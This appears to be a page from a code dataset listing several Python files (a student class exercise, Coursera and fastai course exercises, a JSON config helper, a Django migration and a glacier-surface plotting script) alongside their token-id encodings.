kids = Person(name = " lail", age = 18, hair = 'black', color = 'blue', hungry = True)
ezan = Person( name = "ezan", age = 18, hair = "black", cool = True, hungry = False)
print(ezan.name)
print('I am hungry')
Austin = Person(name = 'austin', age = 18, hair = "Shrek", cool = False, hungry = True)
| [
1,
20803,
273,
353,
426,
13,
1678,
525,
978,
2396,
525,
6096,
273,
742,
13,
1678,
525,
482,
2396,
29871,
29896,
29947,
29892,
13,
13,
1678,
525,
29882,
1466,
2396,
525,
29890,
4708,
742,
13,
1678,
525,
1111,
324,
2396,
5852,
1919,
13,
29913,
13,
13,
2158,
29898,
6096,
273,
29897,
13,
13,
1990,
5196,
29898,
3318,
1125,
396,
1509,
770,
304,
1207,
1203,
13,
1678,
822,
4770,
2344,
12035,
13,
1678,
1583,
29892,
1024,
29892,
5046,
1919,
29882,
1466,
29892,
2927,
29892,
9074,
14793,
29897,
584,
396,
24926,
13,
1678,
396,
4102,
1203,
2768,
310,
263,
770,
338,
1583,
13,
4706,
1583,
29889,
978,
353,
525,
6096,
273,
29915,
13,
4706,
1583,
29889,
482,
353,
29871,
29896,
29947,
13,
13,
4706,
1583,
29889,
29882,
1466,
353,
525,
29890,
4708,
29915,
13,
4706,
1583,
29889,
1111,
324,
353,
5852,
13,
1678,
822,
17545,
29898,
1311,
29892,
1181,
397,
1125,
13,
4706,
1596,
703,
29923,
1299,
426,
29888,
29913,
1642,
4830,
29898,
29888,
353,
9687,
876,
13,
4706,
1583,
29889,
29882,
348,
14793,
353,
9687,
13,
13,
1678,
822,
1708,
29898,
1311,
29892,
3748,
1125,
13,
4706,
1596,
703,
13454,
426,
29886,
29913,
1642,
4830,
29898,
29886,
353,
3748,
876,
13,
1678,
1583,
29889,
1456,
353,
3748,
13,
13,
1678,
822,
12060,
29898,
1311,
29892,
10532,
1125,
13,
4706,
413,
4841,
353,
5196,
29898,
978,
353,
376,
425,
309,
613,
5046,
353,
29871,
29896,
29947,
29892,
11315,
353,
525,
8517,
742,
2927,
353,
525,
9539,
742,
9074,
14793,
353,
5852,
29897,
13,
6096,
273,
353,
5196,
29898,
1024,
353,
376,
6096,
273,
613,
5046,
353,
29871,
29896,
29947,
29892,
29871,
11315,
353,
376,
8517,
613,
12528,
353,
5852,
29892,
9074,
14793,
353,
7700,
29897,
13,
2158,
29898,
6096,
273,
29889,
978,
29897,
13,
2158,
877,
29902,
626,
9074,
14793,
1495,
13,
13,
29909,
504,
262,
353,
5196,
29898,
978,
353,
525,
29874,
504,
262,
742,
5046,
353,
29871,
29896,
29947,
29892,
29871,
11315,
353,
376,
2713,
22218,
613,
12528,
353,
7700,
29892,
9074,
14793,
353,
5852,
29897,
13,
2
] |
machine-learning-ex1/ex1/gradientDescent.py | xu1718191411/coursera-ml-py | 0 | 87486 | <gh_stars>0
import numpy as np
from computeCost import *
def gradient_descent(X, y, theta, alpha, num_iters):
# Initialize some useful values
m = y.size
J_history = np.zeros(num_iters)
for i in range(0, num_iters):
# ===================== Your Code Here =====================
# Instructions : Perform a single gradient step on the parameter vector theta
#
# Hint: X.shape = (97, 2), y.shape = (97, ), theta.shape = (2, )
m = np.dot(X, theta)
k = m - y
k = np.reshape(k,[-1,1])
ss = k * X
jj = np.sum(ss,axis=0)
gradient = jj / X.shape[0]
theta = theta - alpha * gradient
# ===========================================================
# Save the cost every iteration
J_history[i] = compute_cost(X, y, theta)
return theta, J_history
def gradient_descent_multi(X, y, theta, alpha, num_iters):
# Initialize some useful values
m = y.size
J_history = np.zeros(num_iters)
for i in range(0, num_iters):
# ===================== Your Code Here =====================
# Instructions : Perform a single gradient step on the parameter vector theta
s1 = np.dot(X,theta) - y
s1 = np.reshape(s1,(-1,1))
s2 = s1 * X
s3 = np.sum(s2,axis=0)
s4 = s3 / m
theta = theta - alpha * s4
# ===========================================================
# Save the cost every iteration
J_history[i] = compute_cost(X, y, theta)
return theta, J_history
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
12655,
408,
7442,
13,
3166,
10272,
25733,
1053,
334,
13,
13,
13,
1753,
16030,
29918,
2783,
1760,
29898,
29990,
29892,
343,
29892,
278,
941,
29892,
15595,
29892,
954,
29918,
277,
414,
1125,
13,
1678,
396,
25455,
777,
5407,
1819,
13,
1678,
286,
353,
343,
29889,
2311,
13,
1678,
435,
29918,
18434,
353,
7442,
29889,
3298,
359,
29898,
1949,
29918,
277,
414,
29897,
13,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
954,
29918,
277,
414,
1125,
13,
4706,
396,
1275,
9166,
25512,
3575,
5920,
2266,
1275,
9166,
25512,
13,
4706,
396,
2799,
582,
1953,
584,
27313,
263,
2323,
16030,
4331,
373,
278,
3443,
4608,
278,
941,
13,
4706,
396,
13,
4706,
396,
379,
524,
29901,
1060,
29889,
12181,
353,
313,
29929,
29955,
29892,
29871,
29906,
511,
343,
29889,
12181,
353,
313,
29929,
29955,
29892,
10353,
278,
941,
29889,
12181,
353,
313,
29906,
29892,
1723,
13,
13,
4706,
286,
353,
7442,
29889,
6333,
29898,
29990,
29892,
278,
941,
29897,
13,
4706,
413,
353,
286,
448,
343,
13,
4706,
413,
353,
7442,
29889,
690,
14443,
29898,
29895,
29892,
14352,
29896,
29892,
29896,
2314,
13,
13,
4706,
17971,
353,
413,
334,
1060,
13,
13,
4706,
432,
29926,
353,
7442,
29889,
2083,
29898,
893,
29892,
8990,
29922,
29900,
29897,
13,
13,
4706,
16030,
353,
432,
29926,
847,
1060,
29889,
12181,
29961,
29900,
29962,
13,
13,
4706,
278,
941,
353,
278,
941,
448,
15595,
334,
16030,
13,
4706,
396,
1275,
9166,
9166,
9166,
4936,
29922,
13,
4706,
396,
16913,
278,
3438,
1432,
12541,
13,
4706,
435,
29918,
18434,
29961,
29875,
29962,
353,
10272,
29918,
18253,
29898,
29990,
29892,
343,
29892,
278,
941,
29897,
13,
13,
1678,
736,
278,
941,
29892,
435,
29918,
18434,
13,
13,
13,
1753,
16030,
29918,
2783,
1760,
29918,
9910,
29898,
29990,
29892,
343,
29892,
278,
941,
29892,
15595,
29892,
954,
29918,
277,
414,
1125,
13,
1678,
396,
25455,
777,
5407,
1819,
13,
1678,
286,
353,
343,
29889,
2311,
13,
1678,
435,
29918,
18434,
353,
7442,
29889,
3298,
359,
29898,
1949,
29918,
277,
414,
29897,
13,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
954,
29918,
277,
414,
1125,
13,
4706,
396,
1275,
9166,
25512,
3575,
5920,
2266,
1275,
9166,
25512,
13,
4706,
396,
2799,
582,
1953,
584,
27313,
263,
2323,
16030,
4331,
373,
278,
3443,
4608,
278,
941,
13,
13,
13,
4706,
269,
29896,
353,
7442,
29889,
6333,
29898,
29990,
29892,
3416,
29897,
448,
343,
13,
4706,
269,
29896,
353,
7442,
29889,
690,
14443,
29898,
29879,
29896,
29892,
6278,
29896,
29892,
29896,
876,
13,
4706,
269,
29906,
353,
269,
29896,
334,
1060,
13,
4706,
269,
29941,
353,
7442,
29889,
2083,
29898,
29879,
29906,
29892,
8990,
29922,
29900,
29897,
13,
4706,
269,
29946,
353,
269,
29941,
847,
286,
13,
13,
4706,
278,
941,
353,
278,
941,
448,
15595,
334,
269,
29946,
13,
13,
13,
4706,
396,
1275,
9166,
9166,
9166,
4936,
29922,
13,
4706,
396,
16913,
278,
3438,
1432,
12541,
13,
4706,
435,
29918,
18434,
29961,
29875,
29962,
353,
10272,
29918,
18253,
29898,
29990,
29892,
343,
29892,
278,
941,
29897,
13,
13,
1678,
736,
278,
941,
29892,
435,
29918,
18434,
13,
268,
2
] |
exercises/chapter02/exc_02_02.py | deep-diver/fastai-course | 0 | 155441 | from fastai.vision.all import *
url = "https://github.com/deep-diver/fastai-course/raw/master/data/oxford-iiit-pet-tiny.tar.gz"
image_list = get_image_files(untar_data(url)/"images").sorted()
filename1 = image_list[0].name
filename2 = image_list[3].name
print(f"{filename1}, {filename2}")
def label_func(f):
return ___
label1 = label_func(filename1)
label2 = label_func(filename2)
print(f"{label1}, {label2}") | [
1,
515,
5172,
1794,
29889,
4924,
29889,
497,
1053,
334,
13,
13,
2271,
353,
376,
991,
597,
3292,
29889,
510,
29914,
24535,
29899,
29881,
2147,
29914,
11255,
1794,
29899,
15775,
29914,
1610,
29914,
6207,
29914,
1272,
29914,
2251,
4006,
29899,
2236,
277,
29899,
10963,
29899,
25649,
29889,
12637,
29889,
18828,
29908,
13,
3027,
29918,
1761,
353,
679,
29918,
3027,
29918,
5325,
29898,
1657,
279,
29918,
1272,
29898,
2271,
6802,
29908,
8346,
2564,
24582,
580,
13,
13,
9507,
29896,
353,
1967,
29918,
1761,
29961,
29900,
1822,
978,
13,
9507,
29906,
353,
1967,
29918,
1761,
29961,
29941,
1822,
978,
13,
2158,
29898,
29888,
29908,
29912,
9507,
29896,
1118,
426,
9507,
29906,
27195,
13,
13,
1753,
3858,
29918,
9891,
29898,
29888,
1125,
13,
1678,
736,
903,
1649,
13,
259,
13,
1643,
29896,
353,
3858,
29918,
9891,
29898,
9507,
29896,
29897,
13,
1643,
29906,
353,
3858,
29918,
9891,
29898,
9507,
29906,
29897,
13,
2158,
29898,
29888,
29908,
29912,
1643,
29896,
1118,
426,
1643,
29906,
27195,
2
] |
zipper_config.py | tormak/zipper-swapper | 0 | 124911 | import json
import errno
config = {
'first_file_filesize' : '1024',
'second_file_filesize' : '128'
}
def write_config():
with open('config.json', 'w') as config_file:
json.dump(config, config_file)
def read_config():
try:
config_file = open('config.json', 'r')
config = json.load(config_file)
except Exception as error:
if errno.ENOENT == error.errno:
#config file doesn't exist, create one with defaults
write_config()
| [
1,
1053,
4390,
13,
5215,
4589,
1217,
13,
13,
2917,
353,
426,
13,
1678,
525,
4102,
29918,
1445,
29918,
5325,
675,
29915,
259,
584,
525,
29896,
29900,
29906,
29946,
742,
13,
1678,
525,
7496,
29918,
1445,
29918,
5325,
675,
29915,
29871,
584,
525,
29896,
29906,
29947,
29915,
13,
29913,
13,
13,
1753,
2436,
29918,
2917,
7295,
13,
1678,
411,
1722,
877,
2917,
29889,
3126,
742,
525,
29893,
1495,
408,
2295,
29918,
1445,
29901,
13,
4706,
4390,
29889,
15070,
29898,
2917,
29892,
2295,
29918,
1445,
29897,
13,
13,
1753,
1303,
29918,
2917,
7295,
13,
1678,
1018,
29901,
13,
4706,
2295,
29918,
1445,
353,
1722,
877,
2917,
29889,
3126,
742,
525,
29878,
1495,
13,
4706,
2295,
353,
4390,
29889,
1359,
29898,
2917,
29918,
1445,
29897,
308,
13,
1678,
5174,
8960,
408,
1059,
29901,
13,
4706,
565,
4589,
1217,
29889,
1430,
29949,
3919,
1275,
1059,
29889,
3127,
1217,
29901,
13,
9651,
396,
2917,
934,
1838,
29915,
29873,
1863,
29892,
1653,
697,
411,
21274,
13,
9651,
2436,
29918,
2917,
580,
13,
2
] |
dapricot/auth/migrations/0002_auto_20190602_1858.py | softapr/django_apricot | 0 | 55235 | # Generated by Django 2.2.1 on 2019-06-02 18:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('daauth', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='permissionsmixin',
options={},
),
migrations.AlterModelOptions(
name='user',
options={},
),
migrations.AddField(
model_name='user',
name='username',
field=models.CharField(default='', max_length=30, unique=True, verbose_name='username'),
preserve_default=False,
),
migrations.AlterField(
model_name='user',
name='avatar',
field=models.ImageField(blank=True, null=True, upload_to='dapricot/avatars/'),
),
]
| [
1,
396,
3251,
630,
491,
15337,
29871,
29906,
29889,
29906,
29889,
29896,
373,
29871,
29906,
29900,
29896,
29929,
29899,
29900,
29953,
29899,
29900,
29906,
29871,
29896,
29947,
29901,
29945,
29947,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
1388,
5150,
742,
525,
29900,
29900,
29900,
29896,
29918,
11228,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
2499,
357,
3195,
5856,
29898,
13,
9651,
1024,
2433,
17858,
6847,
28084,
262,
742,
13,
9651,
3987,
3790,
1118,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2499,
357,
3195,
5856,
29898,
13,
9651,
1024,
2433,
1792,
742,
13,
9651,
3987,
3790,
1118,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
1792,
742,
13,
9651,
1024,
2433,
6786,
742,
13,
9651,
1746,
29922,
9794,
29889,
27890,
29898,
4381,
2433,
742,
4236,
29918,
2848,
29922,
29941,
29900,
29892,
5412,
29922,
5574,
29892,
26952,
29918,
978,
2433,
6786,
5477,
13,
9651,
19905,
29918,
4381,
29922,
8824,
29892,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2499,
357,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
1792,
742,
13,
9651,
1024,
2433,
485,
14873,
742,
13,
9651,
1746,
29922,
9794,
29889,
2940,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
6441,
29918,
517,
2433,
29881,
481,
2200,
327,
29914,
485,
271,
1503,
29914,
5477,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
combine2d/sandbox/quick_n_dirty_eval/extract_all_final_surface_differences_and_perturbations.py | phigre/cobi | 4 | 132153 | <gh_stars>1-10
import numpy as np
import matplotlib.pyplot as plt
import glob
import os
from combine2d.core.data_logging import load_pickle
from combine2d.core.visualization import MidpointNormalize, plot_glacier_contours
from combine2d.sandbox.quick_n_dirty_eval import experiment_naming_engine
from oggm import cfg
cfg.initialize()
basedir = '/home/philipp/thesis/'
filepaths = glob.glob(os.path.join(basedir, '*/*/*/data_logger.pkl'))
plot_dir = '/home/philipp/plots/inv_surf_differences/'
def plot_final_surface_difference(data_logger, filepath, title,
cbar_min=None,
cbar_max=None, ice_mask=None):
return plot_surface_difference(data_logger.surfs[-1] -
data_logger.ref_surf,
filepath, title, cbar_min, cbar_max)
def plot_surface_difference(surface_difference, filepath, title,
cbar_min=None,
cbar_max=None, ice_mask=None):
if cbar_min is None:
cbar_min = surface_difference.min()
if cbar_max is None:
cbar_max = surface_difference.max()
fig, ax = plt.subplots()
im_b = ax.imshow(surface_difference, cmap='RdBu_r',
norm=MidpointNormalize(midpoint=0., vmin=cbar_min,
vmax=cbar_max))
cbar = fig.colorbar(im_b)
cbar.set_label('$\Delta$surface height (m)')
ax.set_title(title)
if ice_mask is not None:
plot_glacier_contours(ax, ice_mask, linestyles='dashed',
linewidths=[0.75])
plt.savefig(filepath)
plt.clf()
for path in filepaths:
idir, temp = os.path.split(path)
gdir, exp = os.path.split(idir)
temp, case = os.path.split(gdir)
dl = load_pickle(path)
exp_name = experiment_naming_engine.get_experiment_name(exp)
if exp_name is not None:
#if os.path.exists()
cbar_min = None
cbar_max = None
surf_err = dl.surfs[-1] - dl.ref_surf
cbar_min = surf_err.min()
cbar_max = surf_err.max()
ice_mask = np.load(os.path.join(gdir, 'ref_ice_mask.npy'))
if os.path.exists(os.path.join(idir, 'dem_noise.npy')):
dem_noise = np.load(os.path.join(idir, 'dem_noise.npy'))
cbar_min = min(cbar_min, dem_noise.min())
cbar_max = max(cbar_max, dem_noise.max())
title = 'Surface perturbations case {:s}\nexperiment {:s}'.format(
case, exp_name)
plotpath = os.path.join(plot_dir,
'{:s}_{:s}_surface_perturbations'
'.png'.format(case,exp_name))
plot_surface_difference(dem_noise, plotpath, title,
cbar_min, cbar_max, ice_mask=ice_mask)
title = 'Surface errors case {:s}\nexperiment {:s}'.format(case,
exp_name)
plotpath = os.path.join(plot_dir,
'{:s}_{:s}_surface_error.png'.format(case,
exp_name))
plot_surface_difference(surf_err, plotpath, title,
cbar_min, cbar_max, ice_mask=ice_mask)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
13149,
13,
5215,
2897,
13,
3166,
14405,
29906,
29881,
29889,
3221,
29889,
1272,
29918,
21027,
1053,
2254,
29918,
23945,
280,
13,
3166,
14405,
29906,
29881,
29889,
3221,
29889,
20119,
2133,
1053,
13370,
3149,
19077,
675,
29892,
6492,
29918,
29887,
433,
13241,
29918,
1285,
2470,
13,
3166,
14405,
29906,
29881,
29889,
29879,
26738,
29889,
24561,
29918,
29876,
29918,
3972,
1017,
29918,
14513,
1053,
7639,
29918,
8588,
292,
29918,
10599,
13,
3166,
288,
1505,
29885,
1053,
274,
16434,
13,
13,
16859,
29889,
24926,
580,
13,
13,
6707,
381,
353,
8207,
5184,
29914,
561,
2638,
407,
29914,
26533,
22208,
13,
1445,
24772,
353,
13149,
29889,
23705,
29898,
359,
29889,
2084,
29889,
7122,
29898,
6707,
381,
29892,
525,
3877,
3877,
3877,
1272,
29918,
21707,
29889,
29886,
6321,
8785,
13,
5317,
29918,
3972,
353,
8207,
5184,
29914,
561,
2638,
407,
29914,
26762,
29914,
11569,
29918,
7610,
29888,
29918,
29881,
8349,
2063,
22208,
13,
13,
1753,
6492,
29918,
8394,
29918,
7610,
2161,
29918,
29881,
17678,
29898,
1272,
29918,
21707,
29892,
934,
2084,
29892,
3611,
29892,
13,
462,
4706,
274,
1646,
29918,
1195,
29922,
8516,
29892,
13,
462,
4706,
274,
1646,
29918,
3317,
29922,
8516,
29892,
14890,
29918,
13168,
29922,
8516,
1125,
13,
1678,
736,
6492,
29918,
7610,
2161,
29918,
29881,
17678,
29898,
1272,
29918,
21707,
29889,
7610,
5847,
14352,
29896,
29962,
448,
13,
462,
462,
259,
848,
29918,
21707,
29889,
999,
29918,
7610,
29888,
29892,
13,
462,
1669,
934,
2084,
29892,
3611,
29892,
274,
1646,
29918,
1195,
29892,
274,
1646,
29918,
3317,
29897,
13,
13,
1753,
6492,
29918,
7610,
2161,
29918,
29881,
17678,
29898,
7610,
2161,
29918,
29881,
17678,
29892,
934,
2084,
29892,
3611,
29892,
13,
462,
4706,
274,
1646,
29918,
1195,
29922,
8516,
29892,
13,
462,
4706,
274,
1646,
29918,
3317,
29922,
8516,
29892,
14890,
29918,
13168,
29922,
8516,
1125,
13,
1678,
565,
274,
1646,
29918,
1195,
338,
6213,
29901,
13,
4706,
274,
1646,
29918,
1195,
353,
7101,
29918,
29881,
17678,
29889,
1195,
580,
13,
1678,
565,
274,
1646,
29918,
3317,
338,
6213,
29901,
13,
4706,
274,
1646,
29918,
3317,
353,
7101,
29918,
29881,
17678,
29889,
3317,
580,
13,
1678,
2537,
29892,
4853,
353,
14770,
29889,
1491,
26762,
580,
13,
1678,
527,
29918,
29890,
353,
4853,
29889,
326,
4294,
29898,
7610,
2161,
29918,
29881,
17678,
29892,
274,
1958,
2433,
29934,
29881,
3727,
29918,
29878,
742,
13,
462,
418,
6056,
29922,
29924,
333,
3149,
19077,
675,
29898,
6563,
3149,
29922,
29900,
1696,
325,
1195,
29922,
29883,
1646,
29918,
1195,
29892,
13,
462,
462,
632,
325,
3317,
29922,
29883,
1646,
29918,
3317,
876,
13,
1678,
274,
1646,
353,
2537,
29889,
2780,
1646,
29898,
326,
29918,
29890,
29897,
13,
1678,
274,
1646,
29889,
842,
29918,
1643,
877,
4535,
5268,
29938,
7610,
2161,
29871,
3171,
29871,
313,
29885,
29897,
1495,
13,
1678,
4853,
29889,
842,
29918,
3257,
29898,
3257,
29897,
13,
1678,
565,
14890,
29918,
13168,
338,
451,
6213,
29901,
13,
4706,
6492,
29918,
29887,
433,
13241,
29918,
1285,
2470,
29898,
1165,
29892,
14890,
29918,
13168,
29892,
6276,
342,
5577,
2433,
14592,
287,
742,
13,
462,
795,
1196,
2103,
29879,
11759,
29900,
29889,
29955,
29945,
2314,
13,
1678,
14770,
29889,
7620,
1003,
29898,
1445,
2084,
29897,
13,
1678,
14770,
29889,
695,
29888,
580,
13,
13,
13,
1454,
2224,
297,
934,
24772,
29901,
13,
1678,
1178,
381,
29892,
5694,
353,
2897,
29889,
2084,
29889,
5451,
29898,
2084,
29897,
13,
1678,
330,
3972,
29892,
1518,
353,
2897,
29889,
2084,
29889,
5451,
29898,
333,
381,
29897,
13,
1678,
5694,
29892,
1206,
353,
2897,
29889,
2084,
29889,
5451,
29898,
29887,
3972,
29897,
13,
1678,
270,
29880,
353,
2254,
29918,
23945,
280,
29898,
2084,
29897,
13,
1678,
1518,
29918,
978,
353,
7639,
29918,
8588,
292,
29918,
10599,
29889,
657,
29918,
735,
15362,
29918,
978,
29898,
4548,
29897,
13,
1678,
565,
1518,
29918,
978,
338,
451,
6213,
29901,
13,
4706,
396,
361,
2897,
29889,
2084,
29889,
9933,
580,
13,
4706,
274,
1646,
29918,
1195,
353,
6213,
13,
4706,
274,
1646,
29918,
3317,
353,
6213,
13,
13,
4706,
1190,
29888,
29918,
3127,
353,
270,
29880,
29889,
7610,
5847,
14352,
29896,
29962,
448,
270,
29880,
29889,
999,
29918,
7610,
29888,
13,
4706,
274,
1646,
29918,
1195,
353,
1190,
29888,
29918,
3127,
29889,
1195,
580,
13,
4706,
274,
1646,
29918,
3317,
353,
1190,
29888,
29918,
3127,
29889,
3317,
580,
13,
13,
4706,
14890,
29918,
13168,
353,
7442,
29889,
1359,
29898,
359,
29889,
2084,
29889,
7122,
29898,
29887,
3972,
29892,
525,
999,
29918,
625,
29918,
13168,
29889,
29876,
2272,
8785,
13,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
333,
381,
29892,
525,
2310,
29918,
1217,
895,
29889,
29876,
2272,
8785,
29901,
13,
9651,
1261,
29918,
1217,
895,
353,
7442,
29889,
1359,
29898,
359,
29889,
2084,
29889,
7122,
29898,
333,
381,
29892,
525,
2310,
29918,
1217,
895,
29889,
29876,
2272,
8785,
13,
9651,
274,
1646,
29918,
1195,
353,
1375,
29898,
29883,
1646,
29918,
1195,
29892,
1261,
29918,
1217,
895,
29889,
1195,
3101,
13,
9651,
274,
1646,
29918,
3317,
353,
4236,
29898,
29883,
1646,
29918,
3317,
29892,
1261,
29918,
1217,
895,
29889,
3317,
3101,
13,
9651,
3611,
353,
525,
18498,
2161,
22786,
800,
1206,
12365,
29879,
1012,
13996,
15362,
12365,
29879,
29913,
4286,
4830,
29898,
13,
18884,
1206,
29892,
1518,
29918,
978,
29897,
13,
9651,
6492,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5317,
29918,
3972,
29892,
13,
462,
462,
1678,
22372,
29901,
29879,
3227,
29901,
29879,
2403,
7610,
2161,
29918,
10700,
9265,
800,
29915,
13,
462,
462,
1678,
15300,
2732,
4286,
4830,
29898,
4878,
29892,
4548,
29918,
978,
876,
13,
9651,
6492,
29918,
7610,
2161,
29918,
29881,
17678,
29898,
2310,
29918,
1217,
895,
29892,
6492,
2084,
29892,
3611,
29892,
13,
462,
462,
1678,
274,
1646,
29918,
1195,
29892,
274,
1646,
29918,
3317,
29892,
14890,
29918,
13168,
29922,
625,
29918,
13168,
29897,
13,
13,
4706,
3611,
353,
525,
18498,
2161,
4436,
1206,
12365,
29879,
1012,
13996,
15362,
12365,
29879,
29913,
4286,
4830,
29898,
4878,
29892,
13,
462,
462,
462,
462,
259,
1518,
29918,
978,
29897,
13,
4706,
6492,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5317,
29918,
3972,
29892,
13,
462,
18884,
22372,
29901,
29879,
3227,
29901,
29879,
2403,
7610,
2161,
29918,
2704,
29889,
2732,
4286,
4830,
29898,
4878,
29892,
13,
462,
462,
462,
462,
1518,
29918,
978,
876,
13,
13,
4706,
6492,
29918,
7610,
2161,
29918,
29881,
17678,
29898,
7610,
29888,
29918,
3127,
29892,
6492,
2084,
29892,
3611,
29892,
13,
462,
18884,
274,
1646,
29918,
1195,
29892,
274,
1646,
29918,
3317,
29892,
14890,
29918,
13168,
29922,
625,
29918,
13168,
29897,
13,
2
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.